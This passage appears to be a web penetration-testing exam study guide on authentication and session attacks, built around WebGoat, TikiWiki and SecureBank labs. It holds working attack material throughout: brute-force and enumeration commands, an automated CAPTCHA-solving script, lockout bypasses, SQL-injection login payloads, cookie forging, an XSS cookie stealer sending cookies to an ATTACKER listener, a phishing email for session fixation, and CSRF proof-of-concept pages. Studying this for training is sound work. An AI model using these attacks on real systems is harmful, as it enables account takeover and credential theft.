Where to test — in priority order: password-reset / "forgot password" form (highest hit rate in the real world), login form, registration form ("username already taken"), any profile/API lookup endpoint.

The five differentials to grep for:

SignalExample
Message textInvalid password vs Invalid username / not a valid username
Response length1524 bytes (invalid) vs 1434 bytes (valid) — the single most reliable signal in Intruder
HTTP status code200 vs 302, or 200 vs 401
Redirect target/login?err=2 vs /login?err=1
Response timeValid user → bcrypt is actually computed → measurably slower

Burp Intruder workflow (matches the WebGoat forgot-password lab):

1. Proxy > intercept the POST, right-click > "Send to Intruder"
2. Positions tab > "Clear §" > highlight ONLY the username value > "Add §"
3. Attack type: Sniper            <- one payload set, one insertion point
4. Payloads tab > Payload type: Simple list > Load...
     /usr/share/wordlists/metasploit/http_default_users.txt
     /usr/share/seclists/Usernames/top-usernames-shortlist.txt
5. Settings tab > Grep - Match > Clear > add the invalid-user string, e.g.
     not a valid username
   (adds a checkbox column: rows with 0 = the account EXISTS)
6. Start attack > sort by Length, then by the grep column
# Same attack, CLI, no Burp Community throttling
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -u http://target/forgot-password -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=FUZZ&submit=Submit" \
  -fr "not a valid username"          # -fr filters OUT responses matching this regex
# wfuzz equivalent; --hs hides responses containing the invalid-user string
wfuzz -c -z file,/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \
  -d "username=FUZZ&submit=Submit" \
  --hs "not a valid username" http://target/forgot-password
# Length-based enumeration when the message text is identical but the body differs
ffuf -w users.txt -u http://target/login -X POST \
  -d "user=FUZZ&pass=Wrong123!" -fs 1524     # -fs filters by exact response size
# Timing-based enumeration: valid accounts hash the password, invalid ones bail early
for u in $(cat users.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=$u&pass=x" http://target/login)
  echo "$t $u"
done | sort -rn | head        # slowest responses first = likely valid accounts

Also enumerate via: account-registration collision messages, HTTP 429 applied only to real accounts, "security question" prompts returned only for valid users (WebGoat's forgot-password returns What is your favourite colour? only for admin), and rate-limit/lockout messages that fire only for existing accounts.

Exam tips

  • First thing to try: the forgot-password form, with Intruder Sniper and a Grep-Match on the negative string. Sort by Length.
  • Common trap: a well-built app returns "If the account exists we sent an email" for everything — that is not a finding; move on rather than grinding. Also beware WAF/CDN pages inflating length uniformly (use Burp's "Auto-calibrate"/ffuf -ac).
  • What proves the finding: two screenshots/requests with identical structure, differing only in username, producing different status, length or text.

2.5 Testing for Weak Password Policy (WSTG-ATHN-07) & Credential Attacks

Dictionary attack vs. brute force — keep them distinct, the exam wording depends on it:

Dictionary attackBrute force
InputPre-existing list of likely passwords (rockyou, breach dumps, top-100)Generated permutations over a charset/length
Tests"Do users pick weak passwords?""Is the password space small enough?"
Use whenYou know nothing about the policyYou have learned the policy (length + charset)
ToolBurp Intruder, hydra, ffufcrunch → same tools

Learn the policy first — it shrinks the keyspace enormously. Registration forms, change-password forms and verbose login errors leak it. One lab's login form replies: "only accepts 5 character passwords from the character set [AXFM]" — 4 symbols to the power of 5 positions = 4⁵ = 1024 candidates, i.e. seconds of work.

# Generate the exact keyspace the policy allows: min=5 max=5, charset AXFM
crunch 5 5 AXFM -o passwords.txt
wc -l passwords.txt      # 1024 candidates — a complete brute force, not a guess
# Burp Intruder: Sniper on the password parameter only (username is known/enumerated)
# Payloads > Simple list > Load ~/Desktop/wordlists/100-common-passwords.txt
# Then sort results by Length; the outlier row is the successful login.
# hydra against a form-based login. Fields: path:postdata:F=failure-string
hydra -l admin@secbank.com -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/api/login:email=^USER^&password=^PASS^:F=Invalid credentials" -t 16 -f -V
# -l single user  -L user list  -P pass list  -t threads  -f stop on first hit  -V show each try
# hydra with a SUCCESS condition instead (S=) when the failure page varies
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:S=Location\: /dashboard" -s 443 -S
# -s port  -S force SSL/TLS
# A literal ':' inside the option string must be escaped as '\:' or hydra parses it as a field separator
# hydra for HTTP Basic auth
hydra -L users.txt -P passwords.txt -f target.com http-get /admin/
# ffuf clusterbomb equivalent: every user x every password, filtering the failure size
ffuf -w users.txt:USER -w passwords.txt:PASS -mode clusterbomb \
  -u http://target/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"identifier":"USER","password":"PASS"}' \
  -fr "Invalid credentials"
# JSON API login (very common in these labs — note Content-Type must be JSON)
ffuf -w passwords.txt -u http://target:8000/api/auth/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@secbank.com","password":"FUZZ"}' -fc 401

Policy checklist to report: minimum length, maximum length (a low cap is itself a finding), required character classes, username-as-password allowed, password-history/reuse, password shown in the response body, and whether the same weak policy applies to the change-password and reset flows (it often does not).

Exam tips

  • First thing to try: enumerate the user first, then attack a single account with a 100–1000 entry common-password list. Sort Intruder by Length; the successful response is a length outlier, often with a token or "admin": true in the body.
  • Common trap: Burp Community Edition throttles Intruder to roughly one request per second. For anything over a few hundred payloads, switch to OWASP ZAP's Fuzzer, ffuf or hydra.
  • What proves the finding: a login response containing a session cookie/JWT for an account whose password came from a public wordlist — capture both the request and the authenticated response.

2.6 Weak Lockout Mechanisms & CAPTCHA Bypass (WSTG-ATHN-03)

Concept: lockout controls (attempt counters, rate limits, CAPTCHA) exist to make 2.5 impossible. Your job is to establish whether they exist, where they are enforced (client or server, per-account or per-IP), and whether they can be circumvented without being detected.

CAPTCHA strength ladder — weakest first:

TypeHow it worksStrengthBypass route
Arithmetic"5296 + 5826 = ?" rendered in HTMLWeakestRegex the operands out of the response and eval() them per request
Text-based (HTML)Challenge string present in page source / hidden fieldWeakRead it straight out of the DOM and replay it
Text-based (image)Distorted characters in a PNGBasicOCR (tesseract), pretrained models
Image selection"Select all traffic lights"ModerateML models, human-solving services
reCAPTCHA v2"I'm not a robot" + risk signalsStrongNot solvable in-band; look for endpoints that skip it
reCAPTCHA v3Invisible behavioural scoringStrongestNot solvable in-band

Implementation flaws that matter more than the CAPTCHA type:

  • CAPTCHA generated and validated client-side (answer in HTML, JS or a hidden field).
  • CAPTCHA not rotated — the same challenge/answer is accepted repeatedly, so solve once and replay.
  • CAPTCHA drawn from a small fixed array of challenges (old apps) — build a lookup table.
  • CAPTCHA only enforced on the web form, not on the /api/login endpoint.
  • CAPTCHA parameter simply omitted from the request → accepted.
  • CAPTCHA validated but the login attempt still counted/processed before validation.

Triage matrix — run these three requests and record the result of each:

UsernamePasswordCAPTCHAMeaning of the response
validwrongcorrectBaseline failure message; also leaks the password policy if verbose
validwrongwrongIf "Incorrect captcha" → CAPTCHA is validated first, request never reaches auth
validwrongomittedIf it still processes → CAPTCHA is optional, drop it and brute force normally

Scripted arithmetic-CAPTCHA brute force (the pattern the lab teaches: the challenge sits in the HTML inside an <h4> tag, and a fresh session ID + fresh challenge are issued on every GET, so each attempt must do GET → solve → POST inside one requests.Session()):

#!/usr/bin/env python3
# Solve-and-submit loop: one GET to harvest the CAPTCHA + session, one POST to try a password.
import re, requests

TARGET = "http://10.0.0.3"                      # change to your lab IP
session = requests.Session()                     # keeps the per-attempt session cookie
regex   = r'<h4[^>]*>([^<]+)</h4>'               # capture the arithmetic expression

with open("passwords.txt", "r") as f:            # crunch-generated policy-exact wordlist
    for password in f:
        password = password.rstrip()
        response = session.get(TARGET)                       # fresh challenge + session ID
        output   = re.search(regex, response.text)           # extract e.g. "8855 + 117 ="
        captcha  = eval(output.group(1).replace("=", ""))    # compute the answer
        print("Trying password: " + password)
        data = {"username": "admin", "password": password, "captcha": captcha}
        result = session.post(TARGET + "/login", data=data)  # session cookie sent automatically
        if "error" not in result.text:                       # invert the known failure marker
            print("Password found: " + password)
            break
# Sanity-check helper: confirm the challenge AND the session ID rotate per request.
import re, requests
s = requests.Session()
r = s.get("http://10.0.0.3")
print(s.cookies.get_dict())                                  # session ID changes each run
print(re.search(r'<h4[^>]*>([^<]+)</h4>', r.text).group(1))  # expression changes each run

Burp-only alternative when the CAPTCHA does not rotate: Intruder → Settings → Grep - Extract the token from each response, then Payloads → payload type Recursive grep for that position, so each request reuses the token harvested from the previous response. Reduce Resource pool → Maximum concurrent requests to 1 so the chain stays ordered.

Exam tips

  • First thing to try: view-source: the login page. If the CAPTCHA value, expression or expected answer is in the HTML, it is client-side and you automate it in minutes.
  • Common trap: running Intruder with concurrency > 1 against a one-shot rotating token — every request fails and you conclude, wrongly, that the CAPTCHA is strong. Also: a correct CAPTCHA with wrong credentials is required to even see the real error message, which is where the password policy leaks.
  • What proves the finding: a successful authenticated response produced by an automated loop, plus the request count (e.g. the full 1024-candidate keyspace) showing no throttling.

2.7 Account Lockout Bypass

Concept: an account-lockout policy locks a user after N failed attempts (commonly 3, 5, 10 or 50) for a fixed window — or, in stricter apps, until an administrator unlocks it. Two things to test: whether the policy exists, and whether the locked state is itself exploitable. Some implementations are inverted: the lockout path takes a different, weaker code branch.

Measuring the policy:

Burp Intruder > Sniper on the password parameter > payload set = 60 junk values
Watch the Length column. The row where Length changes is the lockout threshold.
Example (TikiWiki 21.1): attempts 1-47 return "Invalid username or password" (length A);
from ~48-50 onward the body becomes "account requires administrator approval" (length B).
# Same measurement in one line: print the attempt number and response size
for i in $(seq 1 60); do
  s=$(curl -s -o /dev/null -w '%{size_download}' -d "user=admin&pass=junk$i" http://target/login)
  echo "$i $s"
done      # the attempt index where the size flips is the lockout threshold

The TikiWiki 21.1 lockout-to-bypass chain (classic exam-shaped finding): trigger >50 failed logins to lock admin, then resubmit the login request with an empty password value — the locked-account code path skips password verification entirely and authenticates you.

POST /tiki-login.php HTTP/1.1
Host: demo.ine.local
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<current>

user=admin&pass=&login=Login
# In Burp: intercept the login POST, delete the value after pass= , Forward.
# Forward the subsequent redirects. You land authenticated as admin.

Bypass techniques to run through when a lockout blocks you:

TechniqueMechanismHow to test
Password sprayingLockout is per-account, not per-passwordOne password × many users per round; sleep between rounds
Source-IP rotationCounter keyed to IPAdd X-Forwarded-For, X-Real-IP, X-Originating-IP, X-Client-IP with a rotating value
Case / encoding variationCounter keyed to the exact username stringAdmin, ADMIN, admin , admin%00, admin%20
Alternative channelLockout only on the web formHit /api/login, mobile endpoint, legacy /login.php
Method/content-type switchCounter in one handler onlyPOST→GET, form-encoded→JSON
Session/cookie resetCounter stored client-sideDrop cookies each attempt; check for a failed_attempts cookie
Race conditionCounter incremented non-atomicallyFire N parallel requests in one burst (Burp "Send group in parallel")
Empty / null passwordLocked path skips verificationpass=, pass[]=, "password":null
Lockout-as-DoSAttacker can lock arbitrary usersLock a victim account deliberately — report as availability impact
# Header-based IP rotation with ffuf: FUZZ2 varies the spoofed source IP per attempt
ffuf -w passwords.txt:PASS -w ips.txt:IP -mode pitchfork \
  -u http://target/login -X POST -d "user=admin&pass=PASS" \
  -H "X-Forwarded-For: IP" -fr "Invalid"
# Password spraying: one password across many accounts, slow, to stay under per-account limits
hydra -L users.txt -p 'Summer2025!' target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid" -t 4 -W 5
# -t 4 low parallelism, -W 5 wait 5s between connections

Exam tips

  • First thing to try: determine the threshold before launching a full dictionary — burn 60 junk passwords and read where the response length flips. Then decide whether you may brute force at all.
  • Common trap: locking the very account the lab needs you to use, with no unlock path. Test the threshold against a throwaway account when one exists; and note that once locked, the app may return a uniform message that masks any later success.
  • What proves the finding: authenticated access obtained after the lockout triggered (the empty-password bypass), or a successful login sourced from a rotated header/endpoint that the counter never saw.

2.8 Bypassing Authentication Schema (WSTG-ATHN-04)

Concept: no credentials, no brute force — you step around the mechanism. The server is trusting something the client controls.

Vulnerability classes:

  1. Unprotected endpoints / forced browsing — the admin page is not behind an auth check at all; only the link to it was hidden.
  2. Default or hardcoded credentials — install-time accounts, secrets left in JS bundles, config files, .git history.
  3. Missing/weak access control — authenticated-but-low-privilege user reaches admin functionality.
  4. Parameter manipulation — a cookie, URL parameter, header or POST field controls the auth decision.
  5. SQL injection in the login — the credential check is a concatenated query.
  6. Session ID prediction/forgery — you mint a valid identifier yourself (see 2.11).

Forced browsing:

# Hunt for admin functionality that is simply unlinked
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://target/FUZZ -mc 200,204,301,302,307,401,403 -ac
# Then request the discovered path with NO cookies at all — if it renders, auth is absent
curl -sik http://target/admin/dashboard.php            # no Cookie header sent
curl -sik http://target/admin/ -H "Cookie: "           # explicitly empty

Parameter / cookie manipulation — the archetype from the Airline Booking System lab: the admin panel trusts a client-set cookie named loggedin.

GET /admin/index.php HTTP/1.1
Host: target
Cookie: loggedin=yes
# One-liner reproduction of the same bypass
curl -si http://target/admin/index.php -H "Cookie: loggedin=yes"
# Persist it so every browser request carries it (the panel re-checks on each page):
# Firefox/Chrome > Cookie-Editor extension > + > Name: loggedin  Value: yes  Path: /
# Or Burp > Proxy > Options > Match and Replace > Request header >
#   Match: ^Cookie: (.*)$   Replace: Cookie: $1; loggedin=yes

Client-trusted parameter names worth flipping (in cookies, POST body, JSON, or query string): admin, is_admin, isAdmin, role, user_role, level, priv, group, uid, user_id, account, loggedin, logged_in, authenticated, auth, debug, test. Values to try: true/1/yes/admin/0 (some apps treat 0 as "superuser id").

IDOR on the authentication/identity boundary:

POST /account/change-password HTTP/1.1
Cookie: session=<your-session>
Content-Type: application/x-www-form-urlencoded

user_id=1&new_password=Pwned123!        # your id was 42; 1 is usually the first/admin account
# Same idea via a JSON API — swap the identity claim, keep your own session
curl -s -X POST http://target/api/user/update \
  -H "Cookie: session=<yours>" -H "Content-Type: application/json" \
  -d '{"id":1,"email":"attacker@evil.com"}'

SQL injection login bypass — place the payload in the username field, password anything:

-- Terminate the string and force the WHERE clause true; -- comments out the password check
admin' -- 
admin'#
admin'/*
' OR '1'='1
' OR 1=1 -- 
' OR 1=1 LIMIT 1 -- 
admin' OR '1'='1' -- 
") OR ("1"="1
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- 
# Automate the confirmation; --batch avoids prompts, -p targets the credential parameter
sqlmap -u "http://target/login" --data="username=admin&password=x" -p username --batch --level=3

Note the difference: admin'-- authenticates as admin specifically; ' OR '1'='1 authenticates as whichever row comes back first, which may not be admin.

Exam tips

  • First thing to try: request the privileged URL with every cookie stripped. Half of "authentication bypass" labs are pure forced browsing.
  • Common trap: setting the magic cookie once and concluding it failed — several apps validate it on each request, including the follow-up redirects and sub-resources. Use Match-and-Replace or a cookie editor rather than a single intercepted request.
  • What proves the finding: admin-only content or an admin-only action (create user, add record) completed by a request containing no valid credentials and no legitimately issued session.

2.9 Session Management & Session ID Analysis (WSTG-SESS-01)

Where session IDs live, and what each implies:

TransportExampleSecurity posture
CookieCookie: PHPSESSID=8f2a... / JSESSIONID=...Standard; security depends entirely on attributes
URL parameter/dashboard?sessionID=abc123, ;jsessionid=...Insecure — leaks via history, logs, Referer, shared links; enables fixation
Custom headerX-Auth-Token: ..., X-Session-ID: ...Common in REST APIs; immune to CSRF, but often exempt from cookie protections
Token (JWT/bearer)Authorization: Bearer eyJ...Stateless; see 2.15–2.17
Hidden form field<input type=hidden name=sid value=...>Legacy; trivially fixable by an attacker

Attack pattern for SESS-01 — collect, analyse, forge:

  1. Collect a large sample of tokens, for the same user and for different users.
  2. Reverse engineer the structure: encoding, delimiters, embedded fields, counters, timestamps.
  3. Manipulate/forge a token and replay it.
# Collect 200 anonymous session IDs for randomness analysis
for i in $(seq 1 200); do
  curl -si http://target/ | grep -i '^set-cookie' | sed 's/.*SESSIONID=\([^;]*\).*/\1/'
done > tokens.txt
sort tokens.txt | uniq -d        # any duplicates = catastrophic PRNG failure
# Burp Sequencer (the purpose-built tool for this):
#   Proxy > find the response containing Set-Cookie > right-click > "Send to Sequencer"
#   Select the session token in "Token Location Within Response" > Start live capture
#   Collect >= 100 (ideally 20,000) tokens > Analyze now
#   Read the "Effective entropy" figure; anything low/poor = predictable session IDs.

Decode before you judge randomness — most "random-looking" tokens are just encoded:

# Base64 (trailing == is the giveaway); -d decodes
echo 'bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==' | base64 -d
# -> loggedin=true;admin=false
# Base64URL (JWT-style: '-' and '_' instead of '+' and '/', padding stripped)
echo 'eyJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d 2>/dev/null
# Hex, URL-encoding, and hash identification
echo -n '61646d696e' | xxd -r -p                     # hex -> ascii
python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" 'user%3Dadmin'
hashid '21232f297a57a5a743894a0e4a801fc3'            # identify the hash family (md5 of 'admin')
# In Burp: select the token > Inspector panel, or right-click > "Send to Decoder"
# Decoder > "Smart decode" chains base64/URL/hex automatically.

Structural red flags in a decoded token: username or email in cleartext; an incrementing integer (user id, counter); a Unix timestamp; role=, admin=, level=; an MD5 of the username; concatenation with a static separator.

Exam tips

  • First thing to try: base64-decode every cookie value before anything else. A token that decodes to readable key/value pairs is a forging exercise, not a cryptography exercise.
  • Common trap: treating length as entropy. A 64-char hex string that is md5(username) is fully predictable. Confirm by hashing a known username and comparing.
  • What proves the finding: a token you constructed (not one the server issued to you) being accepted as an authenticated session — ideally for a different user.

AttributeSyntaxWhat it doesAttack enabled when missing/weak
HttpOnlyHttpOnlyBlocks document.cookie access from JavaScriptXSS → session theft (cookie stealer)
SecureSecureCookie sent only over HTTPSInterception / MITM / SSL-strip over plain HTTP
SameSite=StrictSameSite=StrictNever sent on any cross-site request— (strongest anti-CSRF)
SameSite=LaxSameSite=LaxSent on top-level cross-site GET navigations onlyGET-based CSRF still possible
SameSite=NoneSameSite=None; SecureSent on all cross-site requests; requires SecureFull CSRF exposure
DomainDomain=example.comScopes the cookie to the domain and all subdomainsOverly broad scope → a vulnerable subdomain leaks the session; subdomain cookie-tossing
PathPath=/Restricts the cookie to a URL prefixPath=/ widens exposure; Path is not a security boundary (siblings can read via DOM)
ExpiresExpires=Wed, 21 Oct 2026 07:28:00 GMTAbsolute deletion timeLong/no expiry → stolen cookie usable indefinitely
Max-AgeMax-Age=3600Lifetime in seconds; takes precedence over ExpiresSame as above; absent = session cookie (dies with the browser)
__Secure- prefix__Secure-id=...; SecureBrowser rejects unless Secure and from HTTPSAbsent = weaker integrity guarantee
__Host- prefix__Host-id=...; Secure; Path=/ (no Domain)Browser rejects unless Secure, Path=/, no DomainAbsent = subdomain overwrite possible

A correctly hardened session cookie:

Set-Cookie: sessionID=a3f9...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=1800
# Enumerate every Set-Cookie and its flags in one shot
curl -sik https://target/login -d 'user=x&pass=y' | grep -i '^set-cookie:'
# Flag the ones missing protections
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'httponly' # cookies readable by JS
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'secure'   # cookies sent over HTTP
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'samesite' # CSRF-exposed cookies
// Proof that HttpOnly is missing: run in the browser console on the target origin
document.cookie        // if the session ID appears here, JavaScript can exfiltrate it
# Burp: Target > Site map > select host > Issues, plus Proxy > HTTP history >
# right-click a response > "Show response in browser" is NOT needed —
# read Set-Cookie directly in the Response > Headers view.

Exam tips

  • First thing to try: document.cookie in the console. If the session ID is returned, HttpOnly is missing and XSS-to-hijack is on the table.
  • Common trap: reporting Secure as missing on a target that only serves HTTP — technically correct, but check whether the whole exam target is HTTP before building a report around it. Also: Path restrictions are not a security control, do not treat them as one.
  • What proves the finding: the raw Set-Cookie line showing the absent attribute, paired with a working exploitation of it (JS read for HttpOnly, cross-site request for SameSite).

Concept: if the server derives authorisation from data inside the cookie rather than from a server-side lookup keyed by an opaque ID, you rewrite the cookie and become whoever you like. Encoding is not protection — only a signature or server-side state is.

The SecureBank workflow, end to end:

# 1. Authenticate as a low-privilege user and capture the session cookie.
curl -si -X POST http://target:8000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"james@secbank.com","password":"password1"}' | grep -i set-cookie
# -> Set-Cookie: sessionID=bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==; Path=/
# 2. Decode it — the trailing '==' marks base64.
echo 'bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==' | base64 -d
# -> loggedin=true;admin=false
# 3. Flip the privilege field and re-encode. -w0 prevents line wrapping.
echo -n 'loggedin=true;admin=true' | base64 -w0
# -> bG9nZ2VkaW49dHJ1ZTthZG1pbj10cnVl
# 4. Replay with the forged cookie.
curl -si http://target:8000/ -H 'Cookie: sessionID=bG9nZ2VkaW49dHJ1ZTthZG1pbj10cnVl'
# Burp equivalent: select the cookie value > right-click > Send to Decoder > Decode as Base64,
# edit the plaintext, Encode as Base64, copy back into the request (Repeater), Send.
# Respect the original Path attribute when re-setting the cookie in the browser.

Fields worth flipping once decoded: admin=false→true, role=user→admin, level=1→0, user_id=42→1, isAdmin, privilege, group=users→administrators, type=guest→member.

Signed-but-weak cookies (format data|signature or data.hmac):

# If the signature is an unsalted MD5/SHA1 of the data, it is forgeable
echo -n 'user=admin' | md5sum       # compare with the observed signature length/value
# Flask/Django-style signed session cookies: try to recover the secret
flask-unsign --decode --cookie '<session-cookie>'                     # read the payload
flask-unsign --unsign --cookie '<session-cookie>' --wordlist rockyou.txt   # crack the secret
flask-unsign --sign --cookie "{'admin':True}" --secret '<found-secret>'    # mint a new cookie

Cookie tampering checklist: decode → identify fields → flip one field at a time (so you know which one mattered) → replay → check for a server-side rejection vs. silent acceptance → escalate (user id, role, tenant id).

Exam tips

  • First thing to try: base64-decode the session cookie. If you can read it, you can rewrite it.
  • Common trap: forgetting -n with echo when re-encoding — the trailing newline corrupts the value. Also forgetting -w0, which wraps long base64 across lines. And: some apps only honour the cookie on paths matching the original Path attribute.
  • What proves the finding: the same endpoint returning privileged content (or a flag) solely because one decoded field changed, with no re-authentication.

2.12 Session Hijacking (WSTG-SESS-09)

Concept: steal an already authenticated session identifier and replay it. Happens after the victim logs in. You never learn the password; the server cannot distinguish you from the victim because it authenticates the token, not the human.

Acquisition routes:

RouteMechanismPrecondition
Network sniffingCookie sent over plaintext HTTPNo Secure flag / HTTP site / shared network
MITM / SSL-stripDowngrade or intercept TLSAttacker on-path
XSSJavaScript reads document.cookie and exfiltratesMissing HttpOnly + an XSS sink
PredictionSequential or algorithmically derived IDsWeak PRNG (confirm with Burp Sequencer)
Exposed variablesID in URL, page source, Referer header, logsWSTG-SESS-04
FixationYou supplied the ID in advanceSee 2.13

XSS cookie stealer (only when HttpOnly is absent):

<!-- Stored XSS payload: exfiltrates the victim's cookie to the attacker's listener -->
<script>new Image().src='http://ATTACKER:8000/?c='+encodeURIComponent(document.cookie);</script>
<!-- fetch() variant; works where Image() is blocked and avoids a visible broken image -->
<script>fetch('http://ATTACKER:8000/?c='+btoa(document.cookie),{mode:'no-cors'});</script>
# Attacker-side listener that records inbound hits (the cookie arrives in the request line)
python3 -m http.server 8000

Replay the stolen token:

# Straight replay with curl
curl -si http://target/account -H 'Cookie: PHPSESSID=<stolen-value>'
# Browser replay: DevTools > Application > Cookies > edit the value, or use Cookie-Editor.
# Burp replay: Repeater > paste the stolen Cookie header > Send, and confirm the
# response contains the victim's data (name, email, balance) not yours.

Binding checks (how the app should defend, and what to test): is the session bound to the source IP? to the User-Agent? Change each and see whether the session survives — if it does, hijacking is unconditional.

# Does the session survive a different User-Agent and source context?
curl -si http://target/account -H 'Cookie: session=<stolen>' -H 'User-Agent: curl/8.0'

Exam tips

  • First thing to try: grab a token issued to another user (lab-provided, sniffed, or via XSS) and replay it in Repeater. If the response shows their identity, you are done.
  • Common trap: hijacking an anonymous session and reporting it as account takeover. Verify the token was issued post-login.
  • What proves the finding: a response rendering the victim's personal data (or performing an action as them) from a request whose only credential is the stolen identifier.

2.13 Session Fixation (WSTG-SESS-03)

Concept: the mirror image of hijacking. You supply a session ID to the victim before they log in; the application fails to regenerate the ID at authentication, so your known ID becomes an authenticated ID.

Root causes — all four must be checked:

  1. Session ID not regenerated on login (the essential precondition).
  2. Application accepts an attacker-supplied ID (URL parameter, cookie, hidden field).
  3. Application accepts unknown/arbitrary session IDs rather than only ones it issued.
  4. No expiry / no rebinding of the session to the user.

Detection — a single two-request test:

# 1. Get a pre-auth session ID
curl -sic /tmp/jar http://target/login | grep -i set-cookie
# 2. Log in reusing that jar; if the ID in the jar is UNCHANGED afterwards, it is fixable
curl -sib /tmp/jar -c /tmp/jar -X POST http://target/login \
  -d 'user=victim&pass=Password1' | grep -i set-cookie
cat /tmp/jar     # same session value before and after login == session fixation
# Test whether the app accepts an ID you invented (rather than one it issued)
curl -si http://target/login -H 'Cookie: JSESSIONID=ATTACKER1000'
curl -si 'http://target/login;jsessionid=ATTACKER1000'      # Java path-parameter form
curl -si 'http://target/login?sid=1000'                     # URL-parameter form

Exploitation (the WebGoat phishing-email pattern): craft a link to the legitimate login page with the session ID pinned, deliver it to the victim, wait for them to authenticate, then assume the ID.

http://target/attack?Screen=<n>&menu=<n>&SID=1000
<!-- Phishing body: the link points at the real site; only the SID parameter is attacker-chosen -->
<p>Dear Ms. Plane,</p>
<p>During the last week we have had a few problems with our database.
Please use the following link to verify your account:</p>
<a href="http://webgoatfinancial.com/attack?Screen=5&menu=200&SID=1000">Verify my account</a>
# After the victim logs in, adopt the fixed ID — no credentials required
curl -si 'http://target/account' -H 'Cookie: JSESSIONID=1000'
// Alternative delivery when the app reads the ID from a cookie and you have XSS or a
// controllable subdomain: plant the cookie in the victim's browser before they log in.
document.cookie = "JSESSIONID=1000; path=/; domain=.target.com";

Hijacking vs. fixation — the one-line distinction for the exam:

Session hijackingSession fixation
TimingAfter victim authenticatesBefore victim authenticates
Who owns the IDVictim's ID, stolenAttacker's ID, planted
Root causeToken exposure (no HttpOnly/Secure, XSS, sniffing)ID not regenerated on login; ID settable by client
FixProtect the token in transit and at restRegenerate the session ID at every privilege change

Exam tips

  • First thing to try: capture the session cookie before login and after login and compare them. Identical value = fixation, full stop.
  • Common trap: the app does issue a new ID on login but keeps the old one valid — still a finding (poor invalidation), but not classic fixation. Also, apps that only create a session after login cannot be fixed via a pre-auth cookie; look for URL-parameter acceptance instead.
  • What proves the finding: the attacker-chosen ID returning the victim's authenticated content after the victim logged in, with the attacker never seeing credentials.

2.14 Cross-Site Request Forgery (WSTG-SESS-05)

Concept: the application trusts that a request carrying a valid session cookie was intended by the user. The browser attaches cookies automatically to any request to that origin, including ones initiated by attacker-controlled pages. So an attacker page can make the victim's authenticated browser perform state-changing actions.

Preconditions (all three required):

  1. A state-changing action (change password/email, transfer funds, add admin).
  2. Cookie-based session handling (or HTTP Basic) — anything auto-attached by the browser.
  3. No unpredictable request parameter — no anti-CSRF token, or one that is not validated.

Detection:

1. Find every state-changing request in Burp > Proxy > HTTP history (POST/PUT/DELETE).
2. For each: does the body/header contain a random token (csrf_token, _token, authenticity_token,
   __RequestVerificationToken, XSRF-TOKEN)?
3. Burp > right-click the request > Engagement tools > "Generate CSRF PoC" > Test in browser.
4. Also check the Set-Cookie for SameSite: Strict/Lax substantially reduces or kills the attack.
# Quick server-side validation test: remove the token entirely and replay in Repeater
# If the action still succeeds, the token is decorative.
curl -si -X POST http://target/process_change_password.php \
  -H 'Cookie: PHPSESSID=<victim-session>' \
  -d 'new_password=Pwned123&confirm_password=Pwned123'   # token parameter deliberately absent

Token-bypass techniques, in the order to try them:

TechniqueTest
Remove the token parameter entirelyOften unvalidated when absent
Empty the token valuecsrf_token=
Use your own valid token in the victim's requestToken not tied to the session
Change method POST → GETMany frameworks validate only on POST
Change Content-Type to text/plain / multipart/form-dataBypasses some filters, enables simple-request CORS
Predictable tokenStatic, timestamp-based, or a hash of the username
Token delivered in a cookie and body ("double submit")Set both to the same attacker value via cookie injection
Token validated only when present in the headerDrop the custom header
Leak the token via XSS / open redirect / RefererThen forge a fully valid request

Exploitation HTML — auto-submitting POST form (works cross-origin, no CORS restriction on form submission):

<!-- Password reset CSRF: victim need only load this page while authenticated -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="http://target/process_change_password.php?id=1" method="POST">
      <input type="hidden" name="new_password"     value="Pwned123">
      <input type="hidden" name="confirm_password" value="Pwned123">
    </form>
  </body>
</html>
<!-- Stealth version: hide the form inside a 0x0 iframe so nothing is visible to the victim -->
<iframe style="display:none" name="sink"></iframe>
<form action="http://target/account/email" method="POST" target="sink" id="f">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>
<!-- GET-based CSRF: no form needed at all -->
<img src="http://target/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- JSON endpoint CSRF: text/plain keeps it a "simple request" (no CORS preflight).
     Works only if the server ignores the Content-Type when parsing the body. -->
<form action="http://target/api/user" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
# Host the PoC so the "victim" browser can load it from a different origin
python3 -m http.server 80        # then browse to http://ATTACKER/csrf.html while logged in

Delivery for the exam lab: save the PoC as csrf.html, serve it, log in as the victim account in a second browser/profile, load the PoC, then verify the change (log out, log back in with the new password).

Exam tips

  • First thing to try: Burp's Engagement tools → Generate CSRF PoC on the target request — it builds the HTML for you, including multipart and JSON shapes.
  • Common trap: testing CSRF while logged in as the attacker in the same browser and calling it proof. The victim's session must be the one that carries the request. Use two browser profiles. Second trap: leaving Submit buttons and visible output in the PoC — strip them for a realistic write-up.
  • What proves the finding: the victim's account state actually changed (new password works, email is now the attacker's) after the victim merely loaded an attacker-hosted page.

